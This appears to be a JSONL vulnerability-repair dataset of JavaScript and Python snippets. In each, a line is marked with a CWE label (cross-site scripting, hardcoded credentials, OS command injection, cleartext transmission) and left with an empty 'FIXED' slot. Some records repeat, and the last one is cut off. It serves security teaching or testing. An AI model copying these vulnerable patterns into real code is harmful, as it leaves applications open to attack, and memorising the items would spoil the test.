\n }\n style={{\n marginLeft: 10,\n marginBottom: 10,\n }}\n onClick={() => {\n const url = window.location.origin + window.location.pathname + '#create';\n const editor = window.open(url);\n if (!editor)\n return;\n\n const wait = 10_000;\n const step = 250;\n const { origin } = new URL(url);\n // eslint-disable-next-line no-bitwise\n let count = ~~(wait / step);\n\n function listen(evt: MessageEvent) {\n if (evt.source === editor) {\n count = 0;\n window.removeEventListener('message', listen, false);\n }\n }\n window.addEventListener('message', listen, false);\n\n // send message\n // periodically resend until ack received or timeout\n function send() {\n if (!editor || count <= 0) {\n return;\n }\n const session: Session = {\n source: 'vistalk',\n data: g.data,\n input: g.input,\n };\n editor.postMessage(session, origin);\n setTimeout(send, step);\n count -= 1;\n }\n setTimeout(send, step);\n }}\n >\n Open\n \n
\n
\n ))}\n \n );\n}\n"} {"language": "javascript", "text": "const path = require('path');\nconst scenarioController = require('../controllers/scenario-controller');\nconst siteValidationController = require('../controllers/sitevalidation-controller');\n// const resultsController = require('../controllers/results-controller');\nconst jwt = require('express-jwt');\n\n// BUG: CWE-522: Insufficiently Protected Credentials\n// const auth = jwt({ secret: process.env.JWT_SECRET });\n// FIXED: \n\n \n\n\nmodule.exports = (app) => {\n app.get('/', (req, res) => {\n res.sendFile(path.resolve('client/index.html'));\n });\n\n app.post('/api/scenarios', auth, scenarioController.createScenario);\n app.delete('/api/scenarios', auth, scenarioController.deleteScenario);\n app.get('/api/scenarios', auth, scenarioController.getScenarios);\n\n app.post('/api/rerun-scenario', auth, scenarioController.rerunScenarioTest);\n app.post('/api/run-scenario', auth, scenarioController.runScenarioTest);\n\n app.post('/api/validate-website', auth, siteValidationController.validateWebsite);\n\n // Catch all;\n app.get('/*', (req, res) => {\n res.redirect('/');\n // res.status(404);\n // res.send('Page does not exist.

Click here to go back

');\n });\n};\n"} {"language": "javascript", "text": "/*\nUSERNAME HASH PROBLEM\n\nTo make /history \"non-blocking\", run app in 2 threads:\n- The main thread: Serves I/O HTTP requests\n- The worker thread: Does the Hash Task\n\nWhen users visit http://localhost:8081/?name=JohnnyTeo,\nthe app delegates the Hash Task to the worker thread so it can serve the next requests.\n\nThe worker thread receives and does the Hash Task and returns result to main thread.\n*/\n\nimport * as mylib from './mylib.js';\nimport { isMainThread, workerData, parentPort } from 'worker_threads';\nimport express from 'express';\nimport { getHash, splitStrInToChunks } from './exerex-userhash-util.js';\n\n\n//---------------------------------------------\n// WORKER THREAD SECTION\n//---------------------------------------------\n\n\nconst getSuperHashByWorker = plainText => {\n const numChunks = 8;\n const lstChunks = splitStrInToChunks(numChunks, plainText);\n const lstHashes = lstChunks.map(chunk => getHash(2**21, chunk));\n const finalHash = getHash(1, lstHashes.join(''));\n return finalHash;\n};\n\n\nconst workerFunc = () => {\n try {\n const plainText = workerData;\n const hash = getSuperHashByWorker(plainText);\n parentPort.postMessage(hash);\n } catch (error) {\n console.error(error);\n }\n};\n\n\n//---------------------------------------------\n// MAIN THREAD SECTION\n//---------------------------------------------\n\n\nconst getSuperHashByMain = async plainText => {\n let finalHash = '';\n const [worker, prom] = mylib.createThread(new URL(import.meta.url), plainText);\n worker.on('message', hash => finalHash = hash);\n await prom;\n return finalHash;\n};\n\n\nconst mainFunc = () => {\n const PORT = 8081;\n const app = express();\n const userNameHistory = [];\n\n app.get('/history', async (req, res) => {\n const html = userNameHistory.join('
') || '<Empty history>';\n res.status(200).send(html).end();\n });\n\n app.get('/', async (req, res) => {\n const userName = req.query.name;\n if (!userName) {\n res.status(400).end();\n return;\n }\n userNameHistory.push(userName);\n\n const tpStart = process.hrtime();\n\n // GET USERNAME HASH\n const userNameHash = await getSuperHashByMain(userName);\n\n const timeElapsed = mylib.hrtimeToNumber(process.hrtime(tpStart));\n console.log(`userName = ${userName}; Time elapsed = ${timeElapsed}`);\n\n const html = userName + '
' + userNameHash;\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.status(200).setHeader('Content-Type', 'text/html').send(html).end();\n// FIXED: \n\n \n\n });\n\n console.log('Server is listening on port', PORT);\n const server = app.listen(PORT);\n};\n\n\nif (isMainThread) {\n try {\n mainFunc();\n } catch (error) {\n console.error(error);\n }\n} else {\n workerFunc();\n}\n"} {"language": "javascript", "text": "var express = require (\"express\");\nvar app = express();\n\napp.get(\"/\", function(req,res){\n res.send(\"hi there, welcome to my work\")\n});\n\n\n//obj sounds that matches an animal\n//we take the animal and plug it into sounds\n//and we get the result which is the sound\napp.get(\"/speak/:animal\", function(req,res){\n var sounds = {\n pig: \"oink\",\n dog: \"woof\",\n cow: \"moo\",\n cat: \"moew\",\n fish: \"......\"\n }\n\n var animal = req.params.animal.toLowerCase();\n //sounds will be equal to sounds of animal\n var sound = sounds[animal];\n\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(\"The \"+ animal + \" says '\" + sound + \"'\");\n// FIXED: \n\n \n\n});\n\n//repeat route\n\napp.get(\"/repeat/:message/:times\", function(req,res){\n var message = req.params.message;\n var times = Number(req.params.times);\n var result = \"\";\n\n for(var i = 0; i < times; i++){\n result += message + \" \";\n }\n res.send(result);\n})\n//send back result string by going through the loop\n//hi/10 should get 10 his\n\napp.get(\"*\", function(req,res){\n res.send(\"Get it together\");\n});\n\n//tell express to listen for request (start server)\n//we need to write the code to tell it to lsn to requests\napp.listen(3000, function(){\n console.log(\"Serving demo app on port 3000\");\n});\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-798: Use of Hard-coded Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "const _sendMessage = (obj, typ, where, orderNum='') => {\n\t// This is either a string or an object.\n\tlet str;\n\tif (typeof obj == 'object') {\n\t\t// Need to copy the object otherwise we end up overwrite the event object below, which we don't want.\n\t\tlet newObj = _clone(obj);\n\t\tif (newObj.e) newObj.e = '';\t// We get an invocation error on trying to send a cloned event. Don't send it to the extensions. We could send a smaller version if and when it is needed...\n\t\tif (newObj.doc) newObj.doc = '';\t\t\t\t// Causes circular reference error.\n\t\tif (newObj.compDoc) newObj.compDoc = '';\t\t// Just to be safe - we don't need it.\n\t\tif (newObj.obj) newObj.obj = '';\t\t\t\t// Just to be safe - we don't need it.\n\t\tif (newObj.secSelObj) newObj.secSelObj = '';\t// Just to be safe - we don't need it.\n\t\tstr = JSON.stringify(newObj);\n\t} else {\n\t\tstr = obj;\n\t}\n\tif (!setupEnded) {\n\t\t// Active CSS setup has not yet finished and DevTools has not yet handshook with the core.\n\t\t// Put the message into a queue. It will get sent when DevTools does the handshake.\n\t\tdebuggerCo++;\n\t\tdevtoolsInit.push([ str, typ, debuggerCo ]);\n\t\treturn;\n\t}\n\tif (typ == 'debugOutput') {\n\t\t// Internal tracker so panel.js can put them in order before displaying when they arrive, as they don't arrive in sequence.\n\t\tif (!orderNum) {\t// Note: If a number is already set, that means we have come from the init routine and a number is already set.\n\t\t\tdebuggerCo++;\n\t\t\torderNum = debuggerCo;\n\t\t}\n\t}\n\t\n// BUG: CWE-345: Insufficient Verification of Data Authenticity\n// window.postMessage({\t\tmessage: str,\t\tmessageType: typ,\t\torderNo: orderNum,\t\twhereTo: where,\t\tsource: 'causejs-devtools-extension'\t}, '*');\n// FIXED: \n\n \n\n};\n"} {"language": "javascript", "text": "const baseURL = 'http://localhost:9000/api/users/'\n\n\nexport const getUsers = () => {\n return fetch(baseURL)\n .then(res => res.json());\n };\n\nexport const getUser = (id) => {\n return fetch(baseURL + id) \n .then(res => res.json())\n };\n\nexport const postUser = (payload) => {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// return fetch(baseURL, { method: 'POST', body: JSON.stringify(payload), headers: {'Content-Type': 'application/json'} })\n// FIXED: \n\n \n\n .then(res => res.json())\n };\n\nexport const putUser = (id , payload) => {\n return fetch(baseURL + id, {\n method: 'PUT',\n body:JSON.stringify(payload),\n headers : {'Content-Type': 'application/json'}\n })\n .then(res => res.json())\n };\n\nexport const deleteUser = (id) => {\n return fetch(baseURL + id, {\n method: 'DELETE'\n })\n };\n\n\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "const runCode = require('../lib/runCode')\nconst bodyParser = require('body-parser')\nconst express = require('express')\nconst router = express.Router()\n\nrouter.use(bodyParser.json()) // for parsing routerlication/json\nrouter.use(bodyParser.urlencoded({ extended: true }))\n\n// GET handler for /\nrouter.get('/', (req, res) => {\n res.send('API requires POST to /code/')\n})\n\n// POST handler for /py\nrouter.post('/py', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('py', filePath) // executes runCode() on specified .py and input files\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(result)\n// FIXED: \n\n \n\n})\n\n// POST handler for /cpp\nrouter.post('/cpp', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('cpp', filePath) // executes runCode() on specified .cpp and input files\n res.send(result)\n})\n\n// POST handler for /js\nrouter.post('/js', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('js', filePath) // executes runCode() on specified .js and input files\n res.send(result)\n})\n\nmodule.exports = router\n"} {"language": "javascript", "text": "/*\nMUTEXES\nVersion EX\n\nIn this demo, we will face the race condition.\n -------------------------------------> Time\n |\nSend request '/register?id=Teo&name=Tran Teo' | ooooo\nSend request '/register?id=Teo&name=Le Teo' | xxxxx\nCheck database and create user(id='Teo', name='Tran Teo') | oooooooooo\nCheck database and create user(id='Teo', name='Le Teo') | xxxxxxxxxx\n\nThe final result is that the database contains user(id='Teo', name='Le Teo').\nDue to the slow process time from server, user 'Tran Teo' is overwritten by user 'Le Teo'.\n\n\nWe do not want this result. What we want is:\n- Request '/register?id=Teo&name=Tran Teo' comes first, so user(id='Teo', name='Tran Teo') is created first.\n- Request '/register?id=Teo&name=Le Teo' comes later, and this results a failure due to id 'Teo' is existed.\n\n -------------------------------------> Time\n |\nSend request '/register?id=Teo&name=Tran Teo' | ooooo\nSend request '/register?id=Teo&name=Le Teo' | (wait)......xxxxx\nCheck database and create user(id='Teo', name='Tran Teo') | oooooooooo\nCheck database and create user(id='Teo', name='Le Teo') | xxxxxxxxxx\n\n*/\n\nimport * as mylib from './mylib.js';\nimport express from 'express';\n\n\nconst createServer = () => {\n const users = new Map();\n const app = express();\n\n const createUser = async (userid, username) => {\n if (!userid || !username) {\n return false;\n }\n if (users.has(userid)) {\n return false;\n }\n // Assume that creating user takes a little time\n await mylib.sleep(1000);\n users.set(userid, username);\n return true;\n };\n\n app.get('/register', async (req, res) => {\n const ret = await createUser(req.query.id, req.query.name);\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.status(200).send(ret).end();\n// FIXED: \n\n \n\n });\n\n app.get('/', (req, res) => {\n const resStr = JSON.stringify(\n [...users].map(([k,v]) => ({ id: k, name: v }))\n , null, 2);\n res.status(200).setHeader('Content-Type', 'application/json');\n res.send(resStr).end();\n });\n\n const server = app.listen(8081);\n return server;\n};\n\n\nconst runClient = async () => {\n const registerUrl1 = new URL('/register?id=teo&name=Tran Teo', 'http://localhost:8081');\n const registerUrl2 = new URL('/register?id=teo&name=Le Teo', 'http://localhost:8081');\n const infoUrl = new URL('/', 'http://localhost:8081');\n\n const prom1 = mylib.makeHttpGet(registerUrl1);\n await mylib.sleep(200);\n\n const prom2 = mylib.makeHttpGet(registerUrl2);\n await mylib.sleep(200);\n\n await Promise.all([prom1, prom2]);\n\n const result = await mylib.makeHttpGet(infoUrl);\n console.log(result);\n};\n\n\nconst server = createServer();\nawait runClient();\nserver.close();\n"} {"language": "javascript", "text": "var express = require (\"express\");\nvar app = express();\n\napp.get(\"/\", function(req,res){\n res.send(\"hi there, welcome to my work\")\n});\n\n\n//obj sounds that matches an animal\n//we take the animal and plug it into sounds\n//and we get the result which is the sound\napp.get(\"/speak/:animal\", function(req,res){\n var sounds = {\n pig: \"oink\",\n dog: \"woof\",\n cow: \"moo\",\n cat: \"moew\",\n fish: \"......\"\n }\n\n var animal = req.params.animal.toLowerCase();\n //sounds will be equal to sounds of animal\n var sound = sounds[animal];\n\n res.send(\"The \"+ animal + \" says '\" + sound + \"'\");\n});\n\n//repeat route\n\napp.get(\"/repeat/:message/:times\", function(req,res){\n var message = req.params.message;\n var times = Number(req.params.times);\n var result = \"\";\n\n for(var i = 0; i < times; i++){\n result += message + \" \";\n }\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(result);\n// FIXED: \n\n \n\n})\n//send back result string by going through the loop\n//hi/10 should get 10 his\n\napp.get(\"*\", function(req,res){\n res.send(\"Get it together\");\n});\n\n//tell express to listen for request (start server)\n//we need to write the code to tell it to lsn to requests\napp.listen(3000, function(){\n console.log(\"Serving demo app on port 3000\");\n});\n"} {"language": "javascript", "text": "function getAllMovies() {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// fetch(\"http://localhost:3000/movies\")\n// FIXED: \n\n \n\n .then((response) => {\n if (response.status === 200) {\n return response.json();\n }\n })\n .then((movies) => {\n let tbody = document\n .getElementById(\"movieList\")\n .getElementsByClassName(\"row\")[0];\n let tbodyhtml = \"\";\n movies.forEach((movie) => {\n tbodyhtml += `
\n
\n
\n \n
\n
${movie.title}
\n

Diector : ${movie.director}

\n

Actor : ${movie.actors}

\n

Plot : ${movie.plot}

\n ${movie.year}\n
\n
\n
`;\n });\n tbody.innerHTML = tbodyhtml;\n })\n .catch((error) => {\n console.log(error);\n });\n}\ngetAllMovies();\n"} {"language": "javascript", "text": "const express = require('express');\nconst rateLimit = require('express-rate-limit');\nconst helmet = require('helmet');\nconst bodyParser = require(\"body-parser\");\nconst xss = require('xss-clean');\nconst hpp = require('hpp');\nconst cors = require('cors');\nconst multer = require('multer');\nconst upload = multer();\nconst session = require('express-session');\n\nconst { secret } = require('./config/common/config');\n\n// Importing The Database\nconst postgresql = require('./config/database/postgresqlConfig');\n\n\n// Importing the Routes \nconst covidRoutes = require('./routes/covid/covidRoutes')\n\n\n// Calling the Error Handlers\nconst globalErrHandler = require('./controllers/error/errorController');\nconst AppError = require('./utils/error/appError');\nconst app = express();\n\n// Allow Cross-Origin requests\napp.use(cors());\n\n// Set security HTTP headers\napp.use(helmet());\n\n\n\n// Limit request from the same API \nconst limiter = rateLimit({\n max: 150,\n windowMs: 60 * 60 * 1000,\n message: 'Too Many Request from this IP, please try again in an hour'\n});\napp.use('/api/v1', limiter);\n\n\n// Body parser, reading data from body into req.body\napp.use(express.json({\n limit: '100kb'\n}));\n\n\n// Configure the Session expiry\napp.use(\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// session({ secret: secret, resave: true, saveUninitialized: false })\n// FIXED: \n\n \n\n);\n\n// Data sanitization against XSS(clean user input from malicious HTML code)\napp.use(xss());\n\n// Prevent parameter pollution\napp.use(hpp());\n\n// Setting Body parser\napp.use(bodyParser.json());\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(bodyParser.json({ type: 'application/*+json' }));\napp.use(express.json());\napp.use(upload.array()); \napp.use(express.static('public'));\n\n// Setting up global error handler\napp.use(globalErrHandler);\n\n\n// Checking and Testing of Home\napp.get('/', (req, res) => {\n // console.log(req.session)\n res.send(`You hit home page!\\n`)\n})\n\n// Routes Final Calling\napp.use('/api/v1',covidRoutes);\n\n// handle undefined Routes\napp.use('*', (req, res, next) => {\n const err = new AppError(404, 'fail', 'undefined route');\n next(err, req, res, next);\n});\n\n\nmodule.exports = app;"} {"language": "javascript", "text": "const runCode = require('../lib/runCode')\nconst bodyParser = require('body-parser')\nconst express = require('express')\nconst router = express.Router()\n\nrouter.use(bodyParser.json()) // for parsing routerlication/json\nrouter.use(bodyParser.urlencoded({ extended: true }))\n\n// GET handler for /\nrouter.get('/', (req, res) => {\n res.send('API requires POST to /code/')\n})\n\n// POST handler for /py\nrouter.post('/py', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('py', filePath) // executes runCode() on specified .py and input files\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(result)\n// FIXED: \n\n \n\n})\n\n// POST handler for /cpp\nrouter.post('/cpp', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('cpp', filePath) // executes runCode() on specified .cpp and input files\n res.send(result)\n})\n\n// POST handler for /js\nrouter.post('/js', async (req, res) => {\n const { filePath } = req.body\n const result = await runCode('js', filePath) // executes runCode() on specified .js and input files\n res.send(result)\n})\n\nmodule.exports = router\n"} {"language": "javascript", "text": "var express = require(\"express\")\n//import express, includes all content of ex\nvar app = express();\n//initialize variable called app and execute it\n\n\n// when we go to \"/\" we should see \"hi there!\"\napp.get(\"/\", function(req, res){\n res.send(\"hi there!\");\n});\n //app.get takes 2 diff parameters, the url or path which is the route\n //the other is a callback function which takes 2 arguments, request and responses\n //req and res are objects, req contains all the information about the req that was made that triggered the routes\n //same for response\n // then respond with text\n\n\n\n//-----------------------------------------------\n// when we go to \"/bye\" we should see \"goodbye!\"\napp.get(\"/bye\", function(req, res){\n res.send(\"goodbye!\");\n});\n\n\n// when we go to \"/dog\" we should see \"meow!\"\napp.get(\"/dog\", function(req, res){\n console.log(\"someone made a request to /DOG\")\n res.send(\"meow!\");\n});\n\n\n//route paterns example\n//to see this msg we need to go to a route that matches the pattern\napp.get(\"/r/:subredditName\", function(req,res){\n //to see all the info from the requests\n //we want req.paramas\n //obj that contains all the route parameters and corresponding values\n console.log(req.params);\n var subreddit = req.params.subredditName;\n \n// BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n// res.send(\"welcome to the\" + subreddit.toUpperCase() + \" subreddit\");\n// FIXED: \n\n \n\n});\n\n//using reddit examples\napp.get(\"/r/:subredditName/comments/:id/:title/\", function(){\n console.log(req.params);\n res.send(\"welcome to the comments page\");\n});\n\n\n\n//if i go to a route that is not defined\n//i get routed here ( kinda like a page not found )\n//do not put this first, because it will override the rest\napp.get(\"*\", function(req, res){\n res.send(\"you are a star!!\");\n});\n\n\n\n\n//tell express to listen for request (start server)\n//we need to write the code to tell it to lsn to requests\n\napp.listen(3000, function(){\n console.log(\"Serving demo app on port 3000\");\n});\n//end\n"} {"language": "javascript", "text": "// Kludge in HTML5 tag recognition in IE8\ndocument.createElement(\"section\");\ndocument.createElement(\"article\");\n\n(function() {\n if (!window.addEventListener) return;\n var pending = false, prevVal = null;\n\n function updateSoon() {\n if (!pending) {\n pending = true;\n setTimeout(update, 250);\n }\n }\n\n function update() {\n pending = false;\n var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"), found;\n for (var i = 0; i < marks.length; ++i) {\n var mark = marks[i], m;\n if (mark.getAttribute(\"data-default\")) {\n if (found == null) found = i;\n } else if (m = mark.href.match(/#(.*)/)) {\n var ref = document.getElementById(m[1]);\n if (ref && ref.getBoundingClientRect().top < 50)\n found = i;\n }\n }\n if (found != null && found != prevVal) {\n prevVal = found;\n var lis = document.getElementById(\"nav\").getElementsByTagName(\"li\");\n for (var i = 0; i < lis.length; ++i) lis[i].className = \"\";\n for (var i = 0; i < marks.length; ++i) {\n if (found == i) {\n marks[i].className = \"active\";\n for (var n = marks[i]; n; n = n.parentNode)\n if (n.nodeName == \"LI\") n.className = \"active\";\n } else {\n marks[i].className = \"\";\n }\n }\n }\n }\n\n window.addEventListener(\"scroll\", updateSoon);\n window.addEventListener(\"load\", updateSoon);\n window.addEventListener(\"hashchange\", function() {\n \n// BUG: CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')\n// setTimeout(function() { var hash = document.location.hash, found = null, m; var marks = document.getElementById(\"nav\").getElementsByTagName(\"a\"); for (var i = 0; i < marks.length; i++) if ((m = marks[i].href.match(/(#.*)/)) && m[1] == hash) { found = i; break; } if (found != null) for (var i = 0; i < marks.length; i++) marks[i].className = i == found ? \"active\" : \"\"; }, 300);\n// FIXED: \n\n \n\n });\n})();\n"} {"language": "javascript", "text": "const bodyParser = require('body-parser');\nconst path = require('path');\nconst session = require('express-session');\nconst morgan = require('morgan');\n\nconst config = require('../../webpack.config.js');\nconst webpack = require('webpack');\nconst webpackDevMiddleware = require('webpack-dev-middleware');\nconst webpackHotMiddleware = require('webpack-hot-middleware');\nconst compiler = webpack(config);\n\nmodule.exports = (app, express) => {\n app.use(webpackDevMiddleware(compiler, { noInfo: true, publicPath: config.output.publicPath }));\n app.use(webpackHotMiddleware(compiler));\n app.use(morgan('dev'));\n app.use(bodyParser.urlencoded({ extended: true }));\n app.use(bodyParser.json());\n \n// BUG: CWE-522: Insufficiently Protected Credentials\n// app.use(session({ secret: 'fred', resave: false, saveUninitialized: false }));\n// FIXED: \n\n \n\n app.use(express.static(path.join(`${__dirname}./../../dist`)));\n};\n"} {"language": "javascript", "text": "const baseURL = 'http://localhost:9000/api/users/'\n\n\nexport const getUsers = () => {\n \n// BUG: CWE-319: Cleartext Transmission of Sensitive Information\n// return fetch(baseURL)\n// FIXED: \n\n \n\n .then(res => res.json());\n };\n\nexport const getUser = (id) => {\n return fetch(baseURL + id) \n .then(res => res.json())\n };\n\nexport const postUser = (payload) => {\n return fetch(baseURL, {\n method: 'POST',\n body: JSON.stringify(payload),\n headers: {'Content-Type': 'application/json'}\n })\n .then(res => res.json())\n };\n\nexport const putUser = (id , payload) => {\n return fetch(baseURL + id, {\n method: 'PUT',\n body:JSON.stringify(payload),\n headers : {'Content-Type': 'application/json'}\n })\n .then(res => res.json())\n };\n\nexport const deleteUser = (id) => {\n return fetch(baseURL + id, {\n method: 'DELETE'\n })\n };\n\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom os import environ\nimport numpy as np\nimport sys\nimport subprocess\n\ndef run(cmd):\n \"\"\"\n Runs a shell command, and print it before running.\n \"\"\"\n print(cmd)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# r = subprocess.call(cmd, shell=True, stdout=sys.stdout, stderr=subprocess.STDOUT, env=environ)\n# FIXED: \n\n \n\n if r != 0:\n logger.critical(r)\n return\n\n# read lect.in \n# read dates\nfimages='liste_date_ERA5'\ndates,bid=np.loadtxt(fimages, comments='#', unpack=True,dtype='i,i')\nN=len(dates)\ninlook = 1\noutlook = 2\nrlook = int(outlook/inlook)\n\nfor d in dates:\n #infile = '{}_mdel_{}rlks.unw'.format(d,inlook)\n infile = '{}_mdel.unw'.format(d,inlook)\n run(\"look.pl \"+str(infile)+\" \"+str(rlook))\n"} {"language": "python", "text": "from flask import Flask, request, jsonify\nimport requests\n\napp = Flask(__name__)\n\ncreate_so_url = \"http://order-svc:3001/createSo\"\nupdate_inventory_url = \"http://product-svc:3002/allocateInventory\"\n\n@app.route('/v1/order/create', methods=['POST'])\ndef create_1():\n return create_so(rollback=False)\n \n@app.route('/v1/order/create2', methods=['POST'])\ndef create_2():\n return create_so(rollback=True)\n\ndef create_so(rollback=True):\n xid = request.headers.get(\"x-dbpack-xid\")\n\n so_items = [dict(\n product_sysno=1,\n product_name=\"apple iphone 13\",\n original_price=6799,\n cost_price=6799,\n deal_price=6799,\n quantity=2,\n )]\n\n so_master = [dict(\n buyer_user_sysno = 10001,\n seller_company_code = \"SC001\",\n receive_division_sysno = 110105,\n receive_address = \"beijing\",\n receive_zip = \"000001\",\n receive_contact = \"scott\",\n receive_contact_phone = \"18728828296\",\n 